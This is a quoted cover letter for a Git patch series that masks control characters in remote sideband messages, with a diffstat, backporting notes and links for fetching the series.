> Several reviewers suggested advising terminal emulator writers about these
> "quality of implementation issues" instead. I was quite surprised by this
> approach, as it seems overly optimistic to assume that terminal emulators
> could distinguish between control characters intentionally sent by Git and
> those unintentionally relayed from the remote server.
> 
> Please note that this patch series applies cleanly on top of v2.47.2. To
> apply it cleanly on top of v2.40.4 (the oldest of the most recently serviced
> security releases), the calls to test_grep need to be replaced with calls
> to test_i18ngrep, and the calls to git_config_get_string_tmp() need to be
> replaced with calls to git_config_get_string().
> 
> Johannes Schindelin (3):
>    sideband: mask control characters
>    sideband: introduce an "escape hatch" to allow control characters
>    sideband: do allow ANSI color sequences by default
> 
>   Documentation/config.txt            |  2 +
>   Documentation/config/sideband.txt   | 16 ++++++
>   sideband.c                          | 78 ++++++++++++++++++++++++++++-
>   t/t5409-colorize-remote-messages.sh | 30 +++++++++++
>   4 files changed, 124 insertions(+), 2 deletions(-)
>   create mode 100644 Documentation/config/sideband.txt
> 
> 
> base-commit: e1fbebe347426ef7974dc2198f8a277b7c31c8fe
> Published-As: https://github.com/gitgitgadget/git/releases/tag/pr-1853%2Fdscho%2Fsanitize-sideband-v1
> Fetch-It-Via: git fetch https://github.com/gitgitgadget/git pr-1853/dscho/sanitize-sideband-v1
> Pull-Request: https://github.com/gitgitgadget/git/pull/1853